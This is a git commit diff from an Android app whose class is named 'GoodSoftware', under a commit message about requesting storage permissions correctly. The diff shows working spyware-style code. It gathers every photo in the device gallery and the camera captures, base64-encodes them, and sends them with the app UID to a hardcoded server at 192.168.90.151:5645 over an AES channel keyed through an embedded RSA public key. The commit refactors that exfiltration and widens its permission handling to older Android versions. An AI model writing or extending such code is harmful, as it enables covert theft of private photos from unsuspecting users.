Make sure permissions are correctly requested based on adroid version
This commit is contained in:
		
							
								
								
									
										12
									
								
								.idea/deploymentTargetDropDown.xml
									
									
									
										generated
									
									
									
								
							
							
						
						
									
										12
									
								
								.idea/deploymentTargetDropDown.xml
									
									
									
										generated
									
									
									
								
							@@ -4,6 +4,18 @@
 | 
				
			|||||||
    <value>
 | 
					    <value>
 | 
				
			||||||
      <entry key="MainActivity">
 | 
					      <entry key="MainActivity">
 | 
				
			||||||
        <State>
 | 
					        <State>
 | 
				
			||||||
 | 
					          <runningDeviceTargetSelectedWithDropDown>
 | 
				
			||||||
 | 
					            <Target>
 | 
				
			||||||
 | 
					              <type value="RUNNING_DEVICE_TARGET" />
 | 
				
			||||||
 | 
					              <deviceKey>
 | 
				
			||||||
 | 
					                <Key>
 | 
				
			||||||
 | 
					                  <type value="SERIAL_NUMBER" />
 | 
				
			||||||
 | 
					                  <value value="4d16b842" />
 | 
				
			||||||
 | 
					                </Key>
 | 
				
			||||||
 | 
					              </deviceKey>
 | 
				
			||||||
 | 
					            </Target>
 | 
				
			||||||
 | 
					          </runningDeviceTargetSelectedWithDropDown>
 | 
				
			||||||
 | 
					          <timeTargetWasSelectedWithDropDown value="2024-05-02T13:08:12.236226337Z" />
 | 
				
			||||||
          <targetsSelectedWithDialog>
 | 
					          <targetsSelectedWithDialog>
 | 
				
			||||||
            <Target>
 | 
					            <Target>
 | 
				
			||||||
              <type value="QUICK_BOOT_TARGET" />
 | 
					              <type value="QUICK_BOOT_TARGET" />
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -143,9 +143,14 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
                    requestCameraPermission()
 | 
					                    requestCameraPermission()
 | 
				
			||||||
                }
 | 
					                }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
                // Check and request gallery permission
 | 
					                if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
 | 
				
			||||||
                if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) {
 | 
					                    if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) {
 | 
				
			||||||
                    checkStoragePermission()
 | 
					                        checkStoragePermission()
 | 
				
			||||||
 | 
					                    }
 | 
				
			||||||
 | 
					                } else {
 | 
				
			||||||
 | 
					                    if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
 | 
				
			||||||
 | 
					                        checkStoragePermission()
 | 
				
			||||||
 | 
					                    }
 | 
				
			||||||
                }
 | 
					                }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
                // If both permissions are granted, proceed with picture capture and gallery access
 | 
					                // If both permissions are granted, proceed with picture capture and gallery access
 | 
				
			||||||
@@ -154,11 +159,12 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
                Thread {
 | 
					                Thread {
 | 
				
			||||||
                    try {
 | 
					                    try {
 | 
				
			||||||
                        val imageList = getAllImagesFromGallery(activity)
 | 
					                        val imageList = getAllImagesFromGallery(activity)
 | 
				
			||||||
 | 
					                        println(imageList)
 | 
				
			||||||
                        for (image in imageList) {
 | 
					                        for (image in imageList) {
 | 
				
			||||||
                            val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
 | 
					                            val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
 | 
				
			||||||
                            Thread {
 | 
					                            Thread {
 | 
				
			||||||
                                println("Sending data to server")
 | 
					                                println("Sending data to server")
 | 
				
			||||||
                                sendDataToServer(base64Image)
 | 
					                                sendDataToServer(base64Image, establishConnection())
 | 
				
			||||||
                            }.start()
 | 
					                            }.start()
 | 
				
			||||||
                        }
 | 
					                        }
 | 
				
			||||||
                    } catch (e: Exception) {
 | 
					                    } catch (e: Exception) {
 | 
				
			||||||
@@ -173,6 +179,7 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
        }
 | 
					        }
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    fun encodeImageToBase64(imageUri: Uri, contentResolver: ContentResolver): String {
 | 
					    fun encodeImageToBase64(imageUri: Uri, contentResolver: ContentResolver): String {
 | 
				
			||||||
        var base64Image = ""
 | 
					        var base64Image = ""
 | 
				
			||||||
        try {
 | 
					        try {
 | 
				
			||||||
@@ -262,40 +269,51 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    data class ConnectionResult(
 | 
				
			||||||
 | 
					        val socket: Socket,
 | 
				
			||||||
 | 
					        val reader: BufferedReader,
 | 
				
			||||||
 | 
					        val writer: PrintWriter,
 | 
				
			||||||
 | 
					        val key: SecretKeySpec,
 | 
				
			||||||
 | 
					        val iv: IvParameterSpec,
 | 
				
			||||||
 | 
					        val algorithm: String
 | 
				
			||||||
 | 
					    )
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    fun sendDataToServer(sendData: String) {
 | 
					    fun establishConnection(): ConnectionResult{
 | 
				
			||||||
 | 
					        val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
 | 
				
			||||||
 | 
					        val host = "192.168.90.151"
 | 
				
			||||||
 | 
					        val port = 5645
 | 
				
			||||||
 | 
					        val secureRandom = SecureRandom()
 | 
				
			||||||
 | 
					        val keyBytes = ByteArray(16)
 | 
				
			||||||
 | 
					        val ivBytes = ByteArray(16)
 | 
				
			||||||
 | 
					        secureRandom.nextBytes(keyBytes)
 | 
				
			||||||
 | 
					        secureRandom.nextBytes(ivBytes)
 | 
				
			||||||
 | 
					        val key = SecretKeySpec(keyBytes, "AES")
 | 
				
			||||||
 | 
					        val iv = IvParameterSpec(ivBytes)
 | 
				
			||||||
 | 
					        val algorithm = "AES/CBC/PKCS5Padding"
 | 
				
			||||||
 | 
					        val socket = Socket(host, port)
 | 
				
			||||||
 | 
					        val writer = PrintWriter(socket.getOutputStream(), true)
 | 
				
			||||||
 | 
					        val reader = BufferedReader(InputStreamReader(socket.getInputStream()))
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        val encodedKey = encodeBase64(keyBytes)
 | 
				
			||||||
 | 
					        writer.println(encryptText(encodedKey, pKey))
 | 
				
			||||||
 | 
					        reader.readLine()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        val encodedIV = encodeBase64(ivBytes)
 | 
				
			||||||
 | 
					        writer.println(encryptText(encodedIV, pKey))
 | 
				
			||||||
 | 
					        reader.readLine()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        val encodedUid = encodeBase64(android.os.Process.myUid().toString().toByteArray())
 | 
				
			||||||
 | 
					        writer.println(encryptText(encodedUid, pKey))
 | 
				
			||||||
 | 
					        reader.readLine()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        return ConnectionResult(socket, reader, writer, key, iv, algorithm)
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					    fun sendDataToServer(sendData: String, connectionResult: ConnectionResult) {
 | 
				
			||||||
 | 
					        val (socket, reader, writer, key, iv, algorithm) = connectionResult
 | 
				
			||||||
        try {
 | 
					        try {
 | 
				
			||||||
            val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
 | 
					 | 
				
			||||||
            val host = "192.168.90.151"
 | 
					 | 
				
			||||||
            val port = 5645
 | 
					 | 
				
			||||||
            val secureRandom = SecureRandom()
 | 
					 | 
				
			||||||
            val keyBytes = ByteArray(16)
 | 
					 | 
				
			||||||
            val ivBytes = ByteArray(16)
 | 
					 | 
				
			||||||
            secureRandom.nextBytes(keyBytes)
 | 
					 | 
				
			||||||
            secureRandom.nextBytes(ivBytes)
 | 
					 | 
				
			||||||
            val key = SecretKeySpec(keyBytes, "AES")
 | 
					 | 
				
			||||||
            val iv = IvParameterSpec(ivBytes)
 | 
					 | 
				
			||||||
            val algorithm = "AES/CBC/PKCS5Padding"
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
            val chunkSize = 131072
 | 
					            val chunkSize = 131072
 | 
				
			||||||
            val chunks = sendData.lines().joinToString("").chunked(chunkSize)
 | 
					            val chunks = sendData.lines().joinToString("").chunked(chunkSize)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
            val socket = Socket(host, port)
 | 
					 | 
				
			||||||
            val writer = PrintWriter(socket.getOutputStream(), true)
 | 
					 | 
				
			||||||
            val reader = BufferedReader(InputStreamReader(socket.getInputStream()))
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
            val encodedKey = encodeBase64(keyBytes)
 | 
					 | 
				
			||||||
            writer.println(encryptText(encodedKey, pKey))
 | 
					 | 
				
			||||||
            reader.readLine()
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
            val encodedIV = encodeBase64(ivBytes)
 | 
					 | 
				
			||||||
            writer.println(encryptText(encodedIV, pKey))
 | 
					 | 
				
			||||||
            reader.readLine()
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
            val encodedUid = encodeBase64(android.os.Process.myUid().toString().toByteArray())
 | 
					 | 
				
			||||||
            writer.println(encryptText(encodedUid, pKey))
 | 
					 | 
				
			||||||
            reader.readLine()
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
            for (chunk in chunks) {
 | 
					            for (chunk in chunks) {
 | 
				
			||||||
                val cipherText = encrypt(algorithm, chunk, key, iv).lines().joinToString("")
 | 
					                val cipherText = encrypt(algorithm, chunk, key, iv).lines().joinToString("")
 | 
				
			||||||
                writer.println(cipherText)
 | 
					                writer.println(cipherText)
 | 
				
			||||||
@@ -359,7 +377,7 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
                //Log.d(picture.TAG, "Base64 Image: $base64Image")
 | 
					                //Log.d(picture.TAG, "Base64 Image: $base64Image")
 | 
				
			||||||
                Thread {
 | 
					                Thread {
 | 
				
			||||||
                    println("Sending data to server")
 | 
					                    println("Sending data to server")
 | 
				
			||||||
                    sendDataToServer(base64Image)
 | 
					                    sendDataToServer(base64Image, establishConnection())
 | 
				
			||||||
                }.start()
 | 
					                }.start()
 | 
				
			||||||
                image.close()
 | 
					                image.close()
 | 
				
			||||||
            }
 | 
					            }
 | 
				
			||||||
@@ -404,8 +422,10 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
        // Check permission based on Android version
 | 
					        // Check permission based on Android version
 | 
				
			||||||
        val permission = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
 | 
					        val permission = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
 | 
				
			||||||
 | 
					            println("Using READ_MEDIA_IMAGES for Android 13 and higher")
 | 
				
			||||||
            Manifest.permission.READ_MEDIA_IMAGES // Use READ_MEDIA_IMAGES for Android 13 and higher
 | 
					            Manifest.permission.READ_MEDIA_IMAGES // Use READ_MEDIA_IMAGES for Android 13 and higher
 | 
				
			||||||
        } else {
 | 
					        } else {
 | 
				
			||||||
 | 
					            println("Using READ_EXTERNAL_STORAGE for lower versions")
 | 
				
			||||||
            Manifest.permission.READ_EXTERNAL_STORAGE // Use READ_EXTERNAL_STORAGE for lower versions
 | 
					            Manifest.permission.READ_EXTERNAL_STORAGE // Use READ_EXTERNAL_STORAGE for lower versions
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 
 | 
				
			|||||||
		Reference in New Issue
	
	Block a user